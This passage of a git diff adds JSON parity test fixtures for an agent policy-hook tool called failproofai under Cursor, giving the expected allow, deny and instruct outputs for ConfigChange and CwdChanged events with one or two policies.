b/__tests__/parity/fixtures/cursor/ConfigChange/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/ConfigChange/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..e7fecbf5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ConfigChange/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/ConfigChange/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..964478c7 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ConfigChange/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/ConfigChange/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..de712274 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ConfigChange/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/CwdChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..40e0dc81 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/CwdChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..1aee7437 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/CwdChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..1d435275 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/CwdChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b6a06125 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/CwdChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..a755faa8 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/CwdChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..d26d4d9d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/CwdChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..34581eb3 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/CwdChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..82107e07 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/CwdChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..273ab6e7 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/CwdChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..fa073b4a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/CwdChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..908b2307 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/CwdChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a7d9c9d6 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/CwdChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..3931c386 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/CwdChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..5d57c177 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/CwdChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..5dac2cd2 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": 